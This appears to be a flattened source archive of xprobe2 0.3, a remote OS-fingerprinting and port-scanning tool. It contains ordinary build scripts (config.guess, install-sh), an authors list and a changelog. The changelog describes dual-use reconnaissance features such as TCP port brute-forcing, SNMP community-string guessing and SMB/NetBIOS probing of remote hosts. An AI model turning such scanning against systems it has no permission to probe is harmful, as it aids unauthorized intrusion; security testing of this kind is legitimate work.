UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit 0 ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit 0 ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit 0 ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit 0 ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit 0 ;; i*86:Linux:*:*) # The BFD linker knows what the default object file format is, so # first see if it will tell us. cd to the root directory to prevent # problems with other programs or directories called `ld' in the path. # Set LC_ALL=C to ensure ld outputs messages in English. ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ | sed -ne '/supported targets:/!d s/[ ][ ]*/ /g s/.*supported targets: *// s/ .*// p'` case "$ld_supported_targets" in elf32-i386) TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" ;; a.out-i386-linux) echo "${UNAME_MACHINE}-pc-linux-gnuaout" exit 0 ;; coff-i386) echo "${UNAME_MACHINE}-pc-linux-gnucoff" exit 0 ;; "") # Either a pre-BFD a.out linker (linux-gnuoldld) or # one that does not give us useful --help. echo "${UNAME_MACHINE}-pc-linux-gnuoldld" exit 0 ;; esac # Determine whether the default compiler is a.out or elf eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include #ifdef __ELF__ # ifdef __GLIBC__ # if __GLIBC__ >= 2 LIBC=gnu # else LIBC=gnulibc1 # endif # else LIBC=gnulibc1 # endif #else #ifdef __INTEL_COMPILER LIBC=gnu #else LIBC=gnuaout #endif #endif #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit 0 ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit 0 ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit 0 ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit 0 ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit 0 ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit 0 ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit 0 ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit 0 ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit 0 ;; i*86:*:5:[78]*) case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit 0 ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit 0 ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i386. echo i386-pc-msdosdjgpp exit 0 ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit 0 ;; paragon:*:*:*) echo i860-intel-osf1 exit 0 ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit 0 ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit 0 ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit 0 ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit 0 ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4.3${OS_REL} && exit 0 /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4 && exit 0 ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit 0 ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit 0 ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit 0 ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit 0 ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit 0 ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit 0 ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit 0 ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit 0 ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit 0 ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit 0 ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit 0 ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit 0 ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit 0 ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit 0 ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit 0 ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit 0 ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit 0 ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit 0 ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit 0 ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit 0 ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit 0 ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit 0 ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit 0 ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit 0 ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in *86) UNAME_PROCESSOR=i686 ;; unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit 0 ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit 0 ;; *:QNX:*:4*) echo i386-pc-qnx exit 0 ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit 0 ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit 0 ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit 0 ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit 0 ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit 0 ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit 0 ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit 0 ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit 0 ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit 0 ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit 0 ;; *:ITS:*:*) echo pdp10-unknown-its exit 0 ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit 0 ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit 0 ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms && exit 0 ;; I*) echo ia64-dec-vms && exit 0 ;; V*) echo vax-dec-vms && exit 0 ;; esac esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit 0 ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; c34*) echo c34-convex-bsd exit 0 ;; c38*) echo c38-convex-bsd exit 0 ;; c4*) echo c4-convex-bsd exit 0 ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: xprobe2-0.3/cfg-scripts/install-sh000755 001751 000000 00000012720 10271643771 017425 0ustar00mederwheel000000 000000 #!/bin/sh # # install - install a program, script, or datafile # This comes from X11R5 (mit/util/scripts/install.sh). # # Copyright 1991 by the Massachusetts Institute of Technology # # Permission to use, copy, modify, distribute, and sell this software and its # documentation for any purpose is hereby granted without fee, provided that # the above copyright notice appear in all copies and that both that # copyright notice and this permission notice appear in supporting # documentation, and that the name of M.I.T. not be used in advertising or # publicity pertaining to distribution of the software without specific, # written prior permission. M.I.T. makes no representations about the # suitability of this software for any purpose. It is provided "as is" # without express or implied warranty. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. It can only install one file at a time, a restriction # shared with many OS's install programs. # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit="${DOITPROG-}" # put in absolute paths if you don't have them in your path; or use env. vars. mvprog="${MVPROG-mv}" cpprog="${CPPROG-cp}" chmodprog="${CHMODPROG-chmod}" chownprog="${CHOWNPROG-chown}" chgrpprog="${CHGRPPROG-chgrp}" stripprog="${STRIPPROG-strip}" rmprog="${RMPROG-rm}" mkdirprog="${MKDIRPROG-mkdir}" transformbasename="" transform_arg="" instcmd="$mvprog" chmodcmd="$chmodprog 0755" chowncmd="" chgrpcmd="" stripcmd="" rmcmd="$rmprog -f" mvcmd="$mvprog" src="" dst="" dir_arg="" while [ x"$1" != x ]; do case $1 in -c) instcmd="$cpprog" shift continue;; -d) dir_arg=true shift continue;; -m) chmodcmd="$chmodprog $2" shift shift continue;; -o) chowncmd="$chownprog $2" shift shift continue;; -g) chgrpcmd="$chgrpprog $2" shift shift continue;; -s) stripcmd="$stripprog" shift continue;; -t=*) transformarg=`echo $1 | sed 's/-t=//'` shift continue;; -b=*) transformbasename=`echo $1 | sed 's/-b=//'` shift continue;; *) if [ x"$src" = x ] then src=$1 else # this colon is to work around a 386BSD /bin/sh bug : dst=$1 fi shift continue;; esac done if [ x"$src" = x ] then echo "install: no input file specified" exit 1 else true fi if [ x"$dir_arg" != x ]; then dst=$src src="" if [ -d $dst ]; then instcmd=: else instcmd=mkdir fi else # Waiting for this to be detected by the "$instcmd $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if [ -f $src -o -d $src ] then true else echo "install: $src does not exist" exit 1 fi if [ x"$dst" = x ] then echo "install: no destination specified" exit 1 else true fi # If destination is a directory, append the input filename; if your system # does not like double slashes in filenames, you may need to add some logic if [ -d $dst ] then dst="$dst"/`basename $src` else true fi fi ## this sed command emulates the dirname command dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` # Make sure that the destination directory exists. # this part is taken from Noah Friedman's mkinstalldirs script # Skip lots of stat calls in the usual case. if [ ! -d "$dstdir" ]; then defaultIFS=' ' IFS="${IFS-${defaultIFS}}" oIFS="${IFS}" # Some sh's can't handle IFS=/ for some reason. IFS='%' set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` IFS="${oIFS}" pathcomp='' while [ $# -ne 0 ] ; do pathcomp="${pathcomp}${1}" shift if [ ! -d "${pathcomp}" ] ; then $mkdirprog "${pathcomp}" else true fi pathcomp="${pathcomp}/" done fi if [ x"$dir_arg" != x ] then $doit $instcmd $dst && if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi else # If we're going to rename the final executable, determine the name now. if [ x"$transformarg" = x ] then dstfile=`basename $dst` else dstfile=`basename $dst $transformbasename | sed $transformarg`$transformbasename fi # don't allow the sed command to completely eliminate the filename if [ x"$dstfile" = x ] then dstfile=`basename $dst` else true fi # Make a temp file name in the proper directory. dsttmp=$dstdir/#inst.$$# # Move or copy the file name to the temp name $doit $instcmd $src $dsttmp && trap "rm -f ${dsttmp}" 0 && # and set any options; do chmod last to preserve setuid bits # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $instcmd $src $dsttmp" command. if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && # Now rename the file to the real destination. $doit $rmcmd -f $dstdir/$dstfile && $doit $mvcmd $dsttmp $dstdir/$dstfile fi && exit 0 xprobe2-0.3/AUTHORS000644 001751 000000 00000000365 10271643771 014247 0ustar00mederwheel000000 000000 $Id: AUTHORS,v 1.7 2005/02/08 19:50:26 mederchik Exp $ Developers Team: Ofir Arkin The Sys-Security Group http://www.sys-security.com Fyodor Yarochkin http://www.o0o.nu Meder Kydyraliev xprobe2-0.3/CHANGELOG000644 001751 000000 00000035756 10271643771 014425 0ustar00mederwheel000000 000000 2005-07-26 mederchik * man page updated with example on using SNMP module 2005-07-26 mederchik * several sample snmp_sysdescr substrings for freebsd and mac os 2005-07-26 mederchik * finished SNMPv2c module, registers keyword "snmp_sysdescr", which should be a substring of a sysDescr.0 string 2005-07-26 mederchik * fix for port_is_open() method to correctly test whether given port is open 2005-07-21 mederchik * a list of community strings to try is in xprobe2.conf file 2005-07-21 mederchik * skeleton for the SNMP module 2005-07-21 mederchik * a slight change in logic of the module, now it send NBT node status query before session setup packet 2005-07-18 mederchik * base for SNMP module 2005-07-18 mederchik * fixed several bugs and added more sanity checks. Also added NBT node status query to get the name remote box listens on (also gets us MAC). 2005-07-18 mederchik * added OS_Matrix::add_result(XPROBE_MATCH_NO) calls when no matches are found 2005-07-18 mederchik * added OpenUDPSocket routine 2005-07-18 mederchik * fixed bug when using Xprobe_Module_Params INTLIST. The bug showed up after we added possibility to have variable number of keywords for fingerprints and resulted in extra OS_Matrix::add_result calls 2005-07-18 mederchik * base for SNMP module 2005-07-18 mederchik * update from Ofir (keywords for smb module) 2005-06-26 mederchik * added support for OS_Matrix to be able to still give 100% whenever different fingerprints have different number of keywords 2005-06-26 mederchik * several updates to the modules: -added new checkpoint value for TTL singature generation (60); -added sanity check to the SMB module; 2005-06-26 mederchik * minor updates to the man page and howtos 2005-06-23 mederchik * new SMB module import. Module extract Native OS and Native Lanman from session setup and X reply. Module supports both SMB over NBT(139) and naked SMB(445). Module will be executed if either 139 or 445 TCP port is open 2005-06-23 mederchik * util func to compare strings 2005-06-23 mederchik * added method to check if specific port is open 2005-06-20 mederchik * updated TODO 2005-06-19 mederchik * update from Ofir 2005-06-17 mederchik * removed debugging printf() 2005-06-17 mederchik * CREDITS 2005-06-17 mederchik * small fix for compiler warning on osx 2005-06-17 mederchik * fixes for bugs reported by Alf B Lervaag 2005-06-09 mederchik * update from Ofir 2005-02-16 mederchik * stupid bug in if statment, resulted in 97% match, as border value of echoed_dtsize was equal 64 2005-02-15 mederchik * updated CHANGELOG 2005-02-15 mederchik * new default port 65534 2005-02-15 mederchik * fixed to_string as it displayed the same ip because of inet_ntoa() call 2005-02-15 mederchik * upate from Ofir 2005-02-14 mederchik * update man page with info on -A and add some checks for proper use of -A 2005-02-14 mederchik * experimental suport for detection of transparent proxies, firewalls/NIDSs spoofing RSTs on behalf of target added to portscanner, to enable use -T in conjunction with -A 2005-02-14 mederchik * fixed singature generation and matching: echoed_dtsize of icmp_unreach can now have arbitrary number, ip_id_strategy generation in tcp_rst now matches <=256 instead of <256 for I 2005-02-14 mederchik * added int_to_string() to xp_lib 2005-02-14 mederchik * nicer ouput of packets 2005-02-14 mederchik * signature update from Ofir including updated fingerprints for new module 2005-02-13 mederchik * employ new usi++ methods 2005-02-13 mederchik * usi++ modifications for packet comparison that will be used by portscanner to detect variations in replies from target 2005-02-13 mederchik * updated port list for -B in example 2005-02-13 mederchik * cosmetic change to be consistent with xprobe2 output 2005-02-13 mederchik * fixed bug when configure for USI++ was run two times; added some symbols to configure.in to port to MacOSX 2005-02-09 mederchik * automatically generated CHANGELOG 2005-02-09 mederchik * fixed ICMP info module disabling issue 2005-02-09 mederchik * added new keywords, added some minor optimizations, fixes and minor enhacements 2005-02-09 mederchik * added operator=, as default was copying pointers 2005-02-09 mederchik * updated from Ofir + added full FreeBSD 5.3 fingerprint with and without rfc 13223 extensions enabled 2005-02-09 mederchik * start using CREDITS for credits 2005-02-09 mederchik * commited fixes from Kurt Congdon 2005-02-09 mederchik * New TCP RST module added 2005-01-14 mederchik * fix bug reported by Kurt Congdon : Target_Net::getnext() returned special addresses (network num and broadcast) 2005-01-12 mederchik * signature update from Ofir, forget to remove a var from xp_lib.cc, update copyright to 2005 2005-01-12 mederchik * fixed non-zero ACK in SYN packet 2005-01-12 mederchik * remove debugging statements 2005-01-12 mederchik * new xprobe_module_param type introduced _INTLIST, which handles comma separated list of integers as value 2005-01-12 mederchik * regenerated configure script, got rid of Wmissing-prototypes, as it was causing warnings 2005-01-12 mederchik * move tokenize to a xp_lib class that from now on will be holding all utility methods/funcs. TODO: move all xp_ funcs there too 2005-01-10 mederchik * new configure script for usi 2005-01-10 mederchik * port 6000 added to blind guess list 2005-01-10 mederchik * got duplicate sigs from somwhere, fixed 2005-01-05 mamezo * sigs update 2004-12-27 mederchik * Richard Atterer pointed to old config.guess and config.sub, update to new version 2004-12-27 mederchik * get rid of carriage return char 2004-12-20 mederchik * update from Ofir 2004-12-17 mederchik * fixed emails 2004-12-17 mederchik * update from Ofir 2004-12-16 mamezo * sync 2004-12-15 mederchik * forgot to remove -P from man 2004-12-15 mederchik * got rid of -P as it was useless, fixed portscanner not to run if no ports specified 2004-12-15 mederchik * update from Ofir 2004-12-15 mederchik * updated man 2004-12-12 mederchik * algnment fix 2004-12-09 mederchik * name feature blind guess 2004-11-29 mederchik * -B option added to bruteforce TCP ports in tcp handshake module 2004-11-12 mederchik * fix ttl_calc module to associate ICMP packets w/ respective UDP/TCP packets 2004-10-21 mederchik * fix to make module recognize its packets more precisely 2004-10-17 mederchik * updated 2004-10-17 mederchik * fixed timeouts and make pcap_next() nonblocking 2004-10-14 mederchik * suspend warning when compiling on linux 2004-10-14 mederchik * updated CHANGELOG 2004-10-12 mederchik * remove the annoying usi++() set_dst() call from constructor to fix the problem when local hostname does not resolve 2004-09-05 mederchik * XSD schema for XPROBEs XML output 2004-09-05 mederchik * changed XML output to comply with XSD schema 2004-08-28 mederchik * small initialization bug, resulted in failure to parse the config file 2004-06-09 mederchik * minor cosmetic fix 2004-06-09 mederchik * some fixex for MacOSX, portscan progress report in percents 2004-06-09 mederchik * added endiannes check to USI++, updated config.sub and config.guess 2004-06-09 mederchik * SHA1 is now part of xplib 2003-12-29 mederchik * dump select() in USIs sniffpack() for portability, localhost should be now supported 2003-10-15 mederchik * fixed line wrapping bug 2003-10-14 mederchik * fixed reproted bugs 2003-09-25 mederchik * state of other ports is reported in xml output now 2003-09-24 mederchik * added check for generated incomplete fingerprints 2003-09-24 mederchik * hehe :) added tabs (promise this is last one) 2003-09-24 mederchik * made fingerprint output nicer 2003-09-24 mederchik * BUGFIX: added check on where do logging or not (forgot that :) ) 2003-09-23 mederchik * XML output added, version is 0.2, updated README 2003-09-23 mederchik * Loggin class + XML logging 2003-09-23 mederchik * update from Ofir 2003-08-20 mederchik * -L output changed, added \n to unable to resolve message 2003-08-20 mederchik * added signature generation (-F), portscan is conducted in a random port order, minor fixes 2003-08-05 mederchik * uncommited stuff, see CHANGELOG 2003-07-12 fygrave * Updates from Ofir 2003-07-12 fygrave * Ofir's update 12/07/2003 2003-07-03 mederchik * update from Ofir (windoze and linux sigs added) 2003-07-02 mederchik * return OK; 2003-07-02 mederchik * change from map ptr to map 2003-07-02 mederchik * fix 10->0x10 2003-07-02 mederchik * update from Ofir 2003-07-01 mederchik * ok, several fixes for xprobe_module_param (_ZNZORIG, _ZNZVAL, etc), also added another layer into xprobe_module_param, now modules have to use Xprobe_Module_Param_ICMP or _TCP which defines the parameter type for check_param(); also finished TCP Handshake module, it is ready to go 2003-07-01 mederchik * fix BROKEN_BSD stuff: tot_len and frag_off were saved in host byte order, but get_totlen() and get_fragoff() returned them in network byte order 2003-07-01 mederchik * XProbe->Xprobe 2003-07-01 mederchik * new fingerprints file, includes new keywords 2003-06-26 mederchik * new tcp_handshake module 2003-06-26 mederchik * New type XPROBE_MODULE_PARAM_ZNZVAL 2003-06-26 mederchik * new tcp_handshake module 2003-06-26 mederchik * change the way TCP options are set in USI++, instead of padding after each option set, do padding and set th_off when send_pack() is called 2003-06-26 mederchik * Makefile with new module 2003-06-26 mederchik * beta version of the TCP handshake module. TODO: NONE value for WSCALE and fingerprinting 2003-06-24 mederchik * fixed another bug reported by Ofir, added correct timeout checks and more debugging 2003-06-23 mederchik * fix for bugreport from Ofir 2003-06-08 mederchik * more signatures from Ofir 2003-06-03 mederchik * bugfix - did not do osmtx->add_result(...XPROBE_MATCH_NO) 2003-05-28 mederchik * added ability to disable modules and specify number of matches to display 2003-05-28 